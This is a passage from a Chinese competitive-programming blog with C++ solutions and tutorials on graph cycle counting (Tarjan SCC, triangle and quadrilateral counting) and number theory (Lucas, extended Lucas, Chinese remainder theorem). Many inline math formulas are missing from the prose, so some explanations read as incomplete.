3
#define M 200010
4
using namespace std;
5

6
struct Edge {
7
    int to, ne;
8
} edges[M], dag[M];
9

10
int h[N], hs[N], idx = 0, idx1 = 0;
11
int scc_cnt = 0, dfs_cnt = 0;
12
int dfn[N], low[N];
13
int scc_id[N];
14
vector<int> scc[N];
15
stack<int> stk;
16
bool st[N];
17
bool in_stk[N];
18
bool color[N], scc_color[N];
19
int deg[N];
20

21
void add(int u, int v) {
22
    // 建原图
23
    idx++;
24
    edges[idx].to = v;
25
    edges[idx].ne = h[u];
26
    h[u] = idx;
27
}
28

29
void shrink(int u, int v) {
30
    // 建缩点后的图
31
    idx1++;
32
    dag[idx1].to = v;
33
    dag[idx1].ne = hs[u];
34
    hs[u] = idx1;
35
}
36

37
bool tarjan(int u) {
38
    stk.push(u);
39
    in_stk[u] = true;
40
    dfn[u] = low[u] = ++dfs_cnt;
41

42
    for (int i = h[u]; ~i; i = edges[i].ne) {
43
        int j = edges[i].to;
44
        if (!dfn[j]) {
45
            tarjan(j);
46
            low[u] = min(low[u], low[j]);
47
        } else if (in_stk[j]) {
48
            low[u] = min(low[u], dfn[j]);
49
        }
50
    }
51
    if (dfn[u] == low[u]) {
52
        scc_cnt++;
53
        int t;
54
        do {
55
            t = stk.top();
56
            stk.pop();
57
            in_stk[t] = false;
58
            scc_id[t] = scc_cnt;       // 每个点对应的 SCC 编号
59
            scc[scc_cnt].push_back(t); // 维护 SCC 内的节点
60
        } while (t != u);
61
        // 如果同一个 SCC 内存在异色节点，即为无解（平局）
62
        for (int i = 1; i < scc[scc_cnt].size(); i++) {
63
            if (color[scc[scc_cnt][i]] ^ color[scc[scc_cnt][i - 1]]) return false;
64
        }
65
        scc_color[scc_cnt] = color[scc[scc_cnt][0]]; // 同色，给 SCC 染色
66
    }
67
    return true;
68
}
69

70
void init() {
71
    idx = 0;
72
    idx1 = 0;
73
    while (!stk.empty()) stk.pop();
74
    for (int i = 1; i <= scc_cnt; i++) scc[i].clear();
75
    scc_cnt = dfs_cnt = 0;
76
    memset(st, false, sizeof st);
77
    memset(scc_id, 0, sizeof scc_id);
78
    memset(dfn, 0, sizeof dfn);
79
    memset(low, 0, sizeof low);
80
    memset(in_stk, false, sizeof in_stk);
81
    memset(deg, 0, sizeof deg);
82
    memset(h, -1, sizeof h);
83
    memset(hs, -1, sizeof hs);
84
}
85

86
int getFirstBlack() {
87
    // 拓扑排序找出第一个黑色 SCC
88
    queue<int> topo;
89
    for (int i = 1; i <= scc_cnt; i++) {
90
        if (!deg[i]) topo.push(i);
91
    }
92
    while (!topo.empty()) {
93
        int t = topo.front();
94
        topo.pop();
95
        if (scc_color[t]) return t;
96
        for (int i = hs[t]; ~i; i = dag[i].ne) {
97
            int j = dag[i].to;
98
            if (--deg[j] == 0) topo.push(j);
99
        }
100
    }
101
    return 0;
102
}
103

104
bool dfs(int u) {
105
    // 检查黑色子树中是否混有白色 SCC
106
    bool ret = scc_color[u];
107
    st[u] = true;
108
    for (int i = hs[u]; ~i; i = dag[i].ne) {
109
        int j = dag[i].to;
110
        if (st[j]) continue;
111
        ret &= dfs(j);
112
    }
113
    return ret;
114
}
115

116
bool check() {
117
    for (int i = 1; i <= scc_cnt; i++) {
118
        if (scc_color[i] && !st[i]) return false; // 子树必须包含新图中所有的黑色 SCC
119
    }
120
    return true;
121
}
122

123
int main() {
124
    ios::sync_with_stdio(false);
125
    cin.tie(nullptr);
126
    cout.tie(nullptr);
127

128
    int t, m, n;
129
    cin >> t;
130
    while (t--) {
131
        init();
132
        cin >> n >> m;
133
        for (int i = 1; i <= n; i++) cin >> color[i];
134
        int u, v;
135
        for (int i = 1; i <= m; i++) {
136
            cin >> u >> v;
137
            add(u, v);
138
        }
139
        bool tmp = true;
140
        for (int i = 1; i <= n; i++) {
141
            if (!dfn[i]) {
142
                if (!tarjan(i)) {
143
                    tmp = false;
144
                    cout << 'N';
145
                    break;
146
                }
147
            }
148
        }
149
        if (!tmp) continue; // 同 SCC 存在异色节点，直接判无解（平局）
150
        bool b2w = true;
151
        for (int i = 1; i <= scc_cnt; i++) {
152
            for (int a: scc[i]) {
153
                for (int j = h[a]; ~j; j = edges[j].ne) {
154
                    int k = edges[j].to;
155
                    if (scc_id[a] != scc_id[k]) {
156
                        // 缩点建图
157
                        shrink(scc_id[a], scc_id[k]);
158
                        b2w &= !scc_color[scc_id[k]] && scc_color[scc_id[a]]; // 存在一黑一白，检查是否是黑点指向白点
159
                        deg[scc_id[k]]++; // 维护入度
160
                    }
161
                }
162
            }
163
        }
164
        int start = getFirstBlack();
165
        if (dfs(start) && check()) cout << 'A'; // Alice
166
        else if (!start && !color[1]) cout << 'B'; // Bob 情况1
167
        else if (scc_cnt == 2 && scc_color[1] & scc_color[2]) cout << 'B'; // Bob 情况2
168
        else if (scc_cnt == 2 && b2w) cout << 'B'; // Bob 情况3
169
        else cout << 'N';
170
    }
171
    return 0;
172
}

展开收起

P9850 [ICPC2021 Nanjing R] - Ancient Magic Circle in Teyvat 题解

Fri, 04 Oct 2024 13:56:24 GMT

Done

您已获得最佳的阅读体验！

题目地址：P9850

题目难度：NOI/NOI+/CTSC

题目来源：ICPC 南京 2021

给定一个个点的完全图，有条边是红色的，其余边是蓝色的，求出边均为蓝色的大小为的完全子图个数与边均为红色的大小为的完全子图个数的差。
对所有数据满足，，

的量级是的，因此不能直接建完全图，考虑把蓝色图用红色图表示出来。假设存在个有条边的红色子图，那么对于一张存在条红色边的图，就能有种选择方法；此时再令表示大小为且存在条红色边的完全子图个数，因此有下式：

对上面的式子使用二项式反演得：

那么求蓝色完全子图和红色完全子图的差就可以用得到，接下来对每个进行分类讨论：

时，即没有选定的红色边。此时随便选择四个点组成图，即。
时，需选定一条红色边。选边方案数是，此时确定下两个端点，那么在剩下的个点里选择两个点，即。
时，分两类考虑：
- 两条线有公共端点：首先枚举这个公共点，再枚举两条以该点为端点的线段，最后选剩下的那个点。此时方案数为，其中为原无向图中点的度数。
- 两条线无公共端点：正难则反，将原图中任意选两条边的方案数减去两条线有公共端点的方案数即得两条线无公共端点的方案数。也就是。
- 两情况求和得：。
时，继续分类讨论：
- 三条边组成一个三元环，再枚举剩下的一个点，结果为。
- 三条边共用一个顶点，枚举这个顶点，选择直连边中的三条即可涵盖四个点，即。
- 三条边形成链状结构。选择一条边，该边的两个端点分别支出去一条边，刚好覆盖满四个点。注意把成环情况舍去，同一个三元环会算三次，最终需减去。结果为：。
- 综上，。
时，分两类讨论：
- 四条边组成一个四元环，四个点恰好均被覆盖，无需多余枚举，结果为。
- 三元环的某个顶点支出去一条边，枚举这个端点。结果为，其中为经过点的不同三元环个数。
- 综上，。
时，只有一种情况，那就是两个三元环共用一条边。此时只需枚举这个公共边即可，即，其中表示求解三元环时完成定向的边集，表示覆盖到边的不同三元环个数。

最后套公式计算即可，注意加上绝对值，建图用前向星会超时。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
#define M 200010
5
using namespace std;
6

7
typedef long long ll;
8
typedef pair<int, int> PII;
9

10
vector<PII> E[N];
11
vector<int> G[N];
12
int u[N << 1], v[N << 1];
13
ll deg[N << 1];
14
ll cnt[N << 1];
15
ll containerP[N], containerE[M];
16
int tmp[N], id[N];
17
ll n, m;
18

19
ll countTripling() {
20
    ll ret = 0;
21
    for (int i = 1; i <= n; i++) {
22
        for (auto j: E[i]) id[j.first] = j.second;
23
        for (auto j: E[i]) {
24
            int k = j.first;
25
            for (auto l: E[k]) {
26
                int w = l.first;
27
                if (id[w]) {
28
                    containerP[i]++;
29
                    containerP[k]++;
30
                    containerP[w]++;
31
                    containerE[j.second]++;
32
                    containerE[l.second]++;
33
                    containerE[id[w]]++;
34
                    ret++;
35
                }
36
            }
37
        }
38
        for (auto j: E[i]) id[j.first] = 0;
39
    }
40
    return ret;
41
}
42

43
ll countQuadrant() {
44
    for (int i = 1; i <= m; i++) {
45
        if ((deg[u[i]] == deg[v[i]] && u[i] > v[i]) || deg[u[i]] > deg[v[i]]) swap(u[i], v[i]);
46
        E[u[i]].emplace_back(v[i], i);
47
    }
48
    ll ret = 0;
49
    int hh = 0;
50
    for (int i = 1; i <= n; i++) {
51
        for (int j: G[i]) {
52
            for (auto k: E[j]) {
53
                int w = k.first;
54
                if (deg[i] < deg[w] || (deg[i] == deg[w] && i < w)) {
55
                    ret += cnt[w];
56
                    if (!cnt[w]) tmp[hh++] = w;
57
                    cnt[w]++;
58
                }
59
            }
60
        }
61
        for (int j = 0; j < hh; j++) cnt[tmp[j]] = 0;
62
        hh = 0;
63
    }
64
    return ret;
65
}
66

67
int main() {
68
    ios::sync_with_stdio(false);
69
    cin.tie(nullptr);
70
    cout.tie(nullptr);
71

72
    cin >> n >> m;
73
    for (int i = 1; i <= m; i++) {
74
        cin >> u[i] >> v[i];
75
        deg[u[i]]++;
76
        deg[v[i]]++;
77
        G[u[i]].push_back(v[i]);
78
        G[v[i]].push_back(u[i]);
79
    }
80
    ll quad = countQuadrant();
81
    ll trip = countTripling();
82
    ll f0, f1, f2 = 0, f3 = 0, f4 = 0, f5 = 0;
83
    for (int i = 1; i <= n; i++) {
84
        f2 += deg[i] * (deg[i] - 1) / 2 * (n - 4);
85
        f3 += deg[i] * (deg[i] - 1) * (deg[i] - 2) / 6;
86
        f4 += containerP[i] * (deg[i] - 2);
87
        for (auto j: E[i]) {
88
            int k = j.first;
89
            f3 += (deg[i] - 1) * (deg[k] - 1);
90
        }
91
    }
92
    for (int i = 1; i <= m; i++) {
93
        f5 += containerE[i] * (containerE[i] - 1) / 2;
94
    }
95
    f0 = (__int128) n * (n - 1) * (n - 2) * (n - 3) / 24;
96
    f1 = m * (n - 2) * (n - 3) / 2;
97
    f2 += m * (m - 1) / 2;
98
    f3 += trip * (n - 6);
99
    f4 += quad;
100
    cout << abs(f0 - f1 + f2 - f3 + f4 - f5);
101
    return 0;
102
}

展开收起

BA Memory API 已开放

Thu, 03 Oct 2024 13:24:58 GMT

访问 API 文档以了解更多。

图论环计数问题

Sat, 28 Sep 2024 12:48:57 GMT

环#

顾名思义，环就是环

一般研究较多的是三元环和四元环计数。题目给定一张无向图，让你直接或间接地求图中有多少个不同的三元/四元环。形式化的，给定一张无向图，统计出满足要求的无序对或的个数，无序对需满足图中存在仅由点或组成的环。而且它还喜欢和容斥一起考（属实是出生到家了）。

三元环计数#

对于三元环计数，我们有很好的算法可以解决，还能够顺带给出三元环的组成点分别是哪些。基本思路如下：

将所有边定向：统计每个点的度数，并让度数小的点指向度数大的点（原边基础上定向，不创建新边），若度数相同则编号小的点指向编号大的点。此时可以得到一张有向无环图。
枚举每个点的所有出点，并将标记，再对枚举其出点，检查是否已被标记过，最终把所有出点的标记清空。

其实听起来很暴力（尤其是第二步），但是它却能做到的复杂度。太强辣

代码来自于：P1989 无向图三元环计数

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
using namespace std;
5

6
struct Edge {
7
    int to, ne;
8
} edges[N << 1];
9

10
int h[N], idx = 0;
11
int deg[N << 1];
12
bool st[N << 1];
13
int u[N << 1], v[N << 1];
14

15
void add(int a, int b) {
16
    idx++;
17
    edges[idx].to = b;
18
    edges[idx].ne = h[a];
19
    h[a] = idx;
20
}
21

22
int main() {
23
    ios::sync_with_stdio(false);
24
    cin.tie(nullptr);
25
    cout.tie(nullptr);
26

27
    memset(h, -1, sizeof h);
28
    int n, m;
29
    cin >> n >> m;
30
    for (int i = 1; i <= m; i++) {
31
        cin >> u[i] >> v[i];
32
        deg[u[i]]++;
33
        deg[v[i]]++;
34
    }
35
    for (int i = 1; i <= m; i++) {
36
        if ((deg[u[i]] == deg[v[i]] && u[i] > v[i]) || deg[u[i]] > deg[v[i]]) swap(u[i], v[i]);
37
        add(u[i], v[i]);
38
    }
39
    int cnt = 0;
40
    for (int u = 1; u <= n; u++) {
41
        for (int i = h[u]; ~i; i = edges[i].ne) {
42
            int j = edges[i].to;
43
            st[j] = true;
44
        }
45
        for (int i = h[u]; ~i; i = edges[i].ne) {
46
            int v = edges[i].to;
47
            for (int j = h[v]; ~j; j = edges[j].ne) {
48
                int w = edges[j].to;
49
                if (st[w]) cnt++;
50
            }
51
        }
52
        for (int i = h[u]; ~i; i = edges[i].ne) {
53
            int j = edges[i].to;
54
            st[j] = false;
55
        }
56
    }
57
    cout << cnt << endl;
58
    return 0;
59
}

展开收起

如果使用上面这种方法，千万不要忘记数组开二倍。

四元环计数#

基本步骤如下：

为无向边定向，思路同三元环计数。
设定一个辅助计数数组 cnt，在有向图上枚举点的出点，再在原本的无向图上枚举的出点，当的度数严格大于的度数时，答案累加 cnt[w]，并把 cnt[w] 自增一，当前枚举结束时把 cnt 清零。

例题#

P9850 [ICPC2021 Nanjing R] Ancient Magic Circle in Teyvat#

题目地址：P9850

题目难度：NOI/NOI+/CTSC

题目来源：ICPC 南京 2021

给定一个个点的完全图，有条边是红色的，其余边是蓝色的，求出边均为蓝色的大小为的完全子图个数与边均为红色的大小为的完全子图个数的差。
对所有数据满足，，

将蓝色子图容斥掉，接着分类讨论选择的边数即可。

Note

题解同步于本站 %}

P6669 - [清华集训2016] 组合数问题题解

Sat, 28 Sep 2024 12:29:22 GMT

Done

您已获得最佳的阅读体验！

题目地址：P6669

看到超大组合数对质数取模首先考虑朴素定理，定理内容如下：

其中第一项可以继续递归。但是这里要涉及到定理的另外一个意义——发现这个公式实质上是在对进行进制分解。整个组合数可以看作是将转换为进制后对位求组合数然后累乘得到的，即：

其中为在进制下位数的最大值，若位数不够则将该位看作。

如果一个数要是的倍数，那么这个数模的结果一定是。根据定理，在连乘过程中，必须至少出现一个零项，最终结果才会是。根据组合数在时结果为的性质，可知我们需要统计进制下有多少有至少一个位严格大于，此时同时对数位 DP 即可。

1
#include <bits/stdc++.h>
2

3
#define N 62
4
#define MOD 1000000007
5
using namespace std;
6

7
typedef long long ll;
8

9
int numN[N], numM[N];
10
ll f[N][2][2][2][2];
11
int k;
12

13
ll dfs(int pos, bool valid, bool limitN, bool limitM, bool limitI) {
14
//     当前位   是否已合法   i顶到上界n   j顶到上界m   j顶到上界i
15
    if (pos < 0) return valid;
16
    if (f[pos][valid][limitN][limitM][limitI] >= 0) return f[pos][valid][limitN][limitM][limitI]; // 记忆化搜索
17
    ll sum = 0;
18
    for (int i = 0; i <= (limitN ? numN[pos] : k - 1); i++) {
19
        // 枚举 i 在这一位上填的数字
20
        for (int j = 0; j <= min((limitM ? numM[pos] : k - 1), (limitI ? i : k - 1)); j++) {
21
            // 枚举 j 在这一位上填的数字，注意需要满足 j 不超过 i 和 m 的最小值
22
            sum = (sum + dfs(pos - 1, valid | (j > i), limitN & (i == numN[pos]), limitM & (j == numM[pos]),limitI & (i == j))) % MOD;
23
        }
24
    }
25
    f[pos][valid][limitN][limitM][limitI] = sum;
26
    return sum;
27
}
28

29
ll calc(ll n, ll m) {
30
    memset(numN, 0, sizeof numN);
31
    memset(numM, 0, sizeof numM);
32
    memset(f, -1, sizeof f);
33

34
    // 进制分解
35
    int size1 = 0, size2 = 0;
36
    ll tmp1 = n, tmp2 = m;
37
    while (tmp1) {
38
        numN[size1++] = tmp1 % k;
39
        tmp1 /= k;
40
    }
41
    while (tmp2) {
42
        numM[size2++] = tmp2 % k;
43
        tmp2 /= k;
44
    }
45
    return dfs(max(size1, size2) - 1, false, true, true, true);
46
}
47

48
int main() {
49
    ios::sync_with_stdio(false);
50
    cin.tie(nullptr);
51
    cout.tie(nullptr);
52

53
    memset(f, -1, sizeof f);
54

55
    int t;
56
    cin >> t >> k;
57
    while (t--) {
58
        ll n, m;
59
        cin >> n >> m;
60
        cout << calc(n, m) << endl;
61
    }
62
    return 0;
63
}

展开收起

数论补完计划 Part5 组合计数

Wed, 25 Sep 2024 08:06:19 GMT

排列数与组合数#

排列组合基础#

对于一个正整数，它的阶乘等于，记作。特殊地，。

小学时我们就知道，用三个数字最多能表示出个互不相同的三位数字；若改为组成四位数，那么答案就该是种。这其实就是排列数的一个经典应用。探究这个答案是怎么得到的——对于第一个位置，可以有种填数方法；对于第二个位置，因为先前已经用掉一个数了，此时可选的数就只剩个，根据分步乘法原理，就应该乘上，以此类推……我们会惊奇地发现答案其实就是，或者可以表示成。

排列数是指从个物体中选出个并进行排列的总方案数。公式为。排列所隐含的意思是，选中的个物品之间是存在顺序差别的。例如上例选数字，和显然是不相同的两个数字，因此需要用到排列数。这也是它和组合数最大的差别。

上了高中，我们又知道，从个人中选出个人组队，总共能有种组队方案。答案是吗？鉴于一队和一对是等价的，那么其实队内的排序是不必要的，考虑到两个人能变出种排序，意味着同一个方案会出现两次，答案其实是。

组合数（或者用二项式表示法表示为）是指从个物体里选出个并进行组合的总方案数。公式为。它和排列数一样，只要均为正整数，那么结果也都是整数。特殊地，。组合蕴含的意思是，不考虑选中元素之间的顺序关系，正如选择组成一组和选择成一组是完全等价的。

记不住组合数公式的看这张图：

还有特殊情况，例如，当且时，我们规定计算结果是。

一个重要的恒等式是：。可以套公式验证。

排列组合扩展#

比如说二项式定理，这个非常的好用，尤其是当你需要计算的时候。二项式定理说道，对于的展开形式，我们可以通过公式：

来快捷得到。注意从开始。时我们很熟悉，完全平方展开，系数分别是；还好，系数为；时就是。很容易发现这个系数似乎关于中间那一项左右对称，这一点可以用恒等式完美解释。

跟二项式定理密切联系的还有一个杨辉三角，它长这个样子：

发现所有的二项式系数都可以在对应行找到。因此可以说，杨辉三角第行的第个数其实就对应组合数。再次仔细观察，可以发现当前的数字可以由它肩上的两个数字相加得到，例如，于是所有的组合数都可以由这个递推式得到：。

杨辉三角还有许多有趣的性质，例如将第行的所有二项式系数加起来能得到，要证明也很简单，利用二项式定理代入特值，这样就会得到。还有，你还可以从第行开始，将杨辉三角中的数按特定规则相加，就可以得到斐波那契数列的项，见下图：

即。可以在了解组合数递推公式的基础上理解这个规律。

Lucas 定理#

用于组合数取模问题，公式其实很简洁：

其中为质数（暗示扩展），除法为整除。而当时，第一项可以通过递归这个公式得到。

如果考虑递归，我们其实发现它和进制分解蛮像。事实上，定理就可以看作是在进制下进行对位求组合数的结果之积。也就是说，假如的进制表示分别为和（不存在对应为则为），那么。证明略（不会）。它经常和数位DP放在一起考。

虽然它简化了计算，但是它本质上还是需要计算组合数的值。因此需要维护模意义下的阶乘和阶乘的逆元，或者你还可以暴力求解，适用于模数易变的情况。

1
// 暴力求解组合数
2
int C(int n, int m, int p) {
3
    int res = 1;
4
    for (int i = 1, j = n; i <= m; i++, j--) {
5
        res = ((ll) res % p * j % p * inv(i, p) % p) % p;
6
    }
7
    return res;
8
}
9

10
int lucas(int n, int m, int p) {
11
    if (m > n) return 0; // 必须特判，否则 RE+WA
12
    if (n < p && m < p) return C(n, m, p) % p;
13
    return (lucas(n / p, m / p, p) % p * lucas(n % p, m % p, p) % p) % p;
14
}

1
// 预处理
2
int lucas(int n, int m, int p) {
3
    if (n < m) return 0; // 必须特判
4
    if (n < p && m < p) return (fac[n] % p * infac[m] % p * infac[n - m] % p) % p;
5
    return (lucas(n / p, m / p, p) % p * lucas(n % p, m % p, p) % p) % p;
6
}
7

8
void init(int lim) {
9
    fac[0] = infac[0] = 1;
10
    for (int i = 1; i <= lim; i++) {
11
        fac[i] = (fac[i - 1] * i % p) % p;
12
        infac[i] = (infac[i - 1] * inv(i, p) % p) % p;
13
    }
14
}

无论你选用哪一种，都不要忘了对特殊情况的特判，例如的答案应为。

扩展 Lucas 定理#

回收伏笔

既然定理只适用于为质数，何不把模数拆成质数呢？根据算术基本定理，这是可以做到的，假设最终分解为。我们把代求的组合数当作一个未知数，联立可以得到方程组：

发现可以使用朴素的中国剩余定理合并（不同质数之间显然互质），前提是我们得知道的值。

根据组合数的阶乘定义式得到：。但是还不能直接算，万一逆元不存在（或）怎么办？既然导致无解的原因是出现了的倍数，那么我们就把因子拆除了！设分别为中因子的个数，那么原问题可以变为求解：

此时因为除去了因子，逆元就可以放心求解了。此时还面临一个问题，即形如的算式的快速求解。分母可以用逆元求，其实时间复杂度瓶颈还是在阶乘取模上，因此只需要解决即可。我们从一个实例来感受如何求解：

例 3.1

求解的值

即。我们先写阶乘，再把的倍数提出来：

Undefined control sequence \textcolor

发现原式分为三个部分：的次幂、的阶乘和与互质的数的乘积。对于第二部分，由于可能仍然存在的倍数，故递归求解；对于第三部分，有一个很好的性质——把互质的数按个一组分下去（余下的另算），发现每个完整组的乘积模的值是相同的，故快速幂解决，最后暴力乘上剩下的即可。

假设每一个完整组的乘积模的值均为，剩余组模出来的值为，那么可以得到：

递归的下一层就是求解的值。

1
#include <bits/stdc++.h>
2
using namespace std;
3

4
typedef long long ll;
5
typedef pair<ll, ll> Equation;
6

7
ll exgcd(ll a, ll b, ll &x, ll &y) {
8
    if (!b) {
9
        x = 1, y = 0;
10
        return a;
11
    }
12
    ll d = exgcd(b, a % b, y, x);
13
    y -= a / b * x;
14
    return d;
15
}
16

17
ll inv(ll a, ll p) {
18
    ll ans, tmp;
19
    exgcd(a, p, ans, tmp);
20
    return (ans % p + p) % p;
21
}
22

23
ll qmul(ll a, ll b, ll p) {
24
    ll res = 0;
25
    while (b) {
26
        if (b & 1) res = (res + a) % p;
27
        a = (a + a) % p;
28
        b >>= 1;
29
    }
30
    return res % p;
31
}
32

33
ll qpow(ll a, ll b, ll p) {
34
    ll res = 1;
35
    while (b) {
36
        if (b & 1) res = (res % p * a % p) % p;
37
        a = (a * a) % p;
38
        b >>= 1;
39
    }
40
    return res % p;
41
}
42

43
ll mul(initializer_list<ll> args, ll p) {
44
    // 很方便的变长参数列表求连乘，int128 防止爆范围
45
    __int128 res = 1;
46
    for (ll i: args) {
47
        res = (res % p * i % p) % p;
48
    }
49
    return (ll) (res % p);
50
}
51

52
ll CRT(vector<Equation> &v) {
53
    // 中国剩余定理部分
54
    ll M = 1;
55
    ll res = 0;
56
    for (Equation eq: v) M *= eq.second;
57
    for (Equation i: v) {
58
        ll Mi = M / i.second;
59
        res = (res + qmul(qmul(i.first, Mi, M), inv(Mi, i.second), M)) % M;
60
    }
61
    return res % M;
62
}
63

64
ll resolve(ll a, ll p, ll ppow) {
65
    // 递归过程求解，即实现例3.1
66
    if (!a) return 1; // 1的阶乘模质数当然无论如何都是1
67
    ll s = 1;
68
    for (ll i = 1; i <= ppow; i++) {
69
        if (i % p) s = mul({s, i}, ppow); // 完整组循环节连乘
70
    }
71
    s = qpow(s, a / ppow, ppow); // 对完整组的积求幂
72
    for (ll i = a / ppow * ppow + 1; i <= a; i++) {
73
        if (i % p) s = mul({s, i}, ppow); // 对不完整组求积
74
    }
75
    return mul({s, resolve(a / p, p, ppow)}, ppow); // 递归过程
76
}
77

78
ll getA(ll n, ll m, ll p, ll ppow) {
79
    // 获取 CRT 方程组中的 a
80
    ll x = 0, y = 0, z = 0;
81
    // 统计 n, m, n - m 分别是 p 的多少次幂
82
    for (ll i = n; i; i /= p) x += i / p;
83
    for (ll i = m; i; i /= p) y += i / p;
84
    for (ll i = n - m; i; i /= p) z += i / p;
85
    // 套公式
86
    return mul({
87
        qpow(p, x - y - z, ppow),
88
        resolve(n, p, ppow),
89
        inv(resolve(m, p, ppow), ppow),
90
        inv(resolve(n - m, p, ppow), ppow)
91
    }, ppow);
92
}
93

94
ll exLucas(ll n, ll m, ll p) {
95
    // 分解质因数
96
    vector<Equation> E;
97
    for (ll i = 2; i * i <= p; i++) {
98
        if (p % i == 0) {
99
            // 统计对应质数以及它的幂
100
            ll c = 1;
101
            while (p % i == 0) {
102
                c *= i;
103
                p /= i;
104
            }
105
            E.emplace_back(getA(n, m, i, c), c);
106
        }
107
    }
108
    if (p > 1) E.emplace_back(getA(n, m, p, p), p); // 最后一个质数
109
    return CRT(E);
110
}
111

112
int main() {
113
    ios::sync_with_stdio(false);
114
    cin.tie(nullptr);
115
    cout.tie(nullptr);
116

117
    ll n, m, p;
118
    cin >> n >> m >> p;
119
    cout << exLucas(n, m, p) << endl;
120

121
    return 0;
122
}

展开收起

其中 getA(n, m, p, ppow) 用来求解，即中国剩余定理中的； resolve(a, p, ppow) 实现求解。

Lucas 定理的实际应用#

鉴于定理在进制分解上的性质，它其实可以跟一些涉及到进制的算法放在一起考。例如数位DP，数位DP相关内容请见：记忆化搜索数位DP。

洛谷 P7976 [Stoi2033] 园游会#

题目地址：P7976

题目难度：提高+/省选-

设，给定，求：
对取模。
对于的数据，。

根据定理，我们知道。那怎么把这个用到函数上呢？我们可以发现，满足，即积性函数。

我们把转为三进制，那么此时求就可以通过按位算组合数并连乘得到。固定一个，此时对于的每一位，有几种可能：

，保证的情况下，，此时贡献为
，只能枚举，贡献为
，此时，贡献为

因此，真正能对答案产生实质性贡献的就是的情况。换句话说，当在内枚举时，我们只需要统计取不同值时（三进制下）位的个数即可，也就是标准的数位DP求解内数在三进制下总共有多少个。记结果为，那么答案就是。

洛谷 P6669/BZOJ 4737 [清华集训2016] 组合数问题#

题目地址：P6669

题目难度：省选/NOI-

题目来源：清华集训 2016

给定和，对于所有的有多少对满足是的倍数。答案对取模。
对于的测试点，，，且是一个质数。

读题，倍数必定满足关系。根据定理的基数对位组合求积意义，我们可以把都转成进制，并且，只要在连乘式中出现任意一个及以上的项，整个结果就是，也即的倍数。根据组合数的计算公式，发现只要满足，那么结果就是。

布尔型维护当前是否已经存在项。此时考虑同时填两个不同数的相同位置，也就是一次性填两个数，自然需要用到双层循环。鉴于题目要求，我们不仅需要维护是否顶到上界，还要额外维护是否顶到上界和上界。总的状态数是，转移是双层循环的，时间复杂度约为，完全足够。

Note

题解同步于本站

数论补完计划 Part4 中国剩余定理

Wed, 18 Sep 2024 13:04:03 GMT

中国剩余定理#

《孙子算经》有云：

今有物不知其数，三三数之剩二，五五数之剩三，七七数之剩二，问物几何？

大意为：有个物品，满足如下线性同余方程组：

刚入坑编程的估计在“循环结构”那一章里就写过求解这个方程的枚举代码了。这种方式不好的一点就是码量随方程数的增多而膨胀（但是你可以写一个生成计算代码的程序，然后运行编译后的程序）。我们急需一种通解，在码量不增的情况下实现对这个方程组的求解。

我们考虑拆开这个方程组，分别令满足：

两个方程组的写法其实是等价的，只是把同余转化为了带余除法罢了。我们惊奇地发现，如果再加上几个约束条件，原方程组的解就可以经过表示出来：

此时，因为，其他同理。

而我们的中国剩余定理断言道，对于模数均互质的元线性同余方程组：

它的解，其中。因此只需要计算同余号右侧的部分即可，由于方程组模数互质并不等于每个方程的模数是质数，因此需要用到扩展欧几里得算法来求解逆元。

1
int n;
2
ll m[N], a[N];
3
ll M = 1;
4

5
ll exgcd(ll a, ll b, ll &x, ll &y) {
6
    if (!b) {
7
        x = 1, y = 0;
8
        return a;
9
    }
10
    ll d = exgcd(b, a % b, y, x);
11
    y -= a / b * x;
12
    return d;
13
}
14

15
ll inv(ll x, ll p) {
16
    ll ans, tmp;
17
    exgcd(x, p, ans, tmp);
18
    return (ans % p + p) % p;
19
}
20

21
ll CRT() {
22
    ll res = 0;
23
    for (int i = 1; i <= n; i++) M *= m[i];
24
    for (int i = 1; i <= n; i++) {
25
        ll Mi = M / m[i];
26
        res += a[i] * Mi * inv(Mi, m[i]);
27
    }
28
    return res % M;
29
}

展开收起

扩展中国剩余定理#

经历过数论大风大浪的应该都知道，马上要开始推导模数不全互质的情况了。

还是那个方程组：

此时不保证两两互质，求出方程的最小正整数解。此时因为失去了互质，构造通解的方式已经不能用了。因此我们转而寻找另外的方法来简化这个方程组。

对大量事实的观测表明，两个线性同余方程在合并后遵循如下性质：

模数变为原两个方程模数的最小公倍数
合并得到的方程与原方程同型
合并得到的方程不一定有解

也即：

事实上，假设我们有方程和。那么转化成带余方程之后就有：

观察到这是二元一次不定方程的形式，根据贝祖定理，有解的充要条件是，因此无解情况就可以筛去了。

约去最大公倍数得：。用扩展欧几里得解出方程的特解，那么可以用如下关系得到：

于是。用去代结果是一样的。

那么对于方程

仅当时有整数解。那么方程的通解可以表示成的形式，这样就能解释合并后方程的模数为什么为最小公倍数了。

我们假设，并假设存在关系：

做差可得：

得到关系。注意到两个数的最小公倍数一定满足。但是对于非负整数来说，是一定成立的，且在时取得等号，那么当且仅当在时才存在最小公倍数的整除关系。因此导出式是一定正确的。

总结一下，对于方程组：

有解的充要条件是。若已知有解，假设二元一次不定方程的特解是，并记，那么原方程等价于：

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
using namespace std;
5

6
typedef long long ll;
7

8
struct Equation {
9
    ll a, m;
10
};
11

12
ll a[N], b[N];
13
stack <Equation> stk;
14

15
ll exgcd(ll a, ll b, ll &x, ll &y) {
16
    // 扩展欧几里得过程，求解特解 t1 和 t2
17
    if (!b) {
18
        x = 1, y = 0;
19
        return a;
20
    }
21
    ll d = exgcd(b, a % b, y, x);
22
    y -= a / b * x;
23
    return d;
24
}
25

26
ll mul(ll a, ll b, ll p) {
27
    // 著名的龟速乘，就是把快速幂中的乘号改成加号，用来在不爆范围的情况下计算乘积取模的结果
28
    ll res = 0;
29
    bool flag = (b < 0) ^ (a < 0); // 处理负数情况，同号相乘为正，异号为负
30
    a = abs(a) % p;
31
    b = abs(b) % p;
32
    // 注意到：a * (-b) = -(a * b)，数字按绝对值相乘，负号最后处理
33
    while (b) {
34
        if (b & 1) res = (res + a) % p;
35
        a = (a + a) % p;
36
        b >>= 1;
37
    }
38
    return res * (flag ? -1 : 1) % p; // 处理负号
39
}
40

41
ll exCRT() {
42
    while (stk.size() > 1) {
43
        // 不断合并方程直至剩下最后一个
44
        Equation cur = stk.top();
45
        stk.pop();
46
        Equation nxt = stk.top();
47
        stk.pop();
48

49
        ll t1, t2;
50
        ll D = gcd(cur.m, nxt.m);
51
        ll S = lcm(cur.m, nxt.m);
52
        if ((nxt.a - cur.a) % D != 0) return -1; // 无解判断
53
        exgcd(cur.m, nxt.m, t1, t2); // 求解特解
54
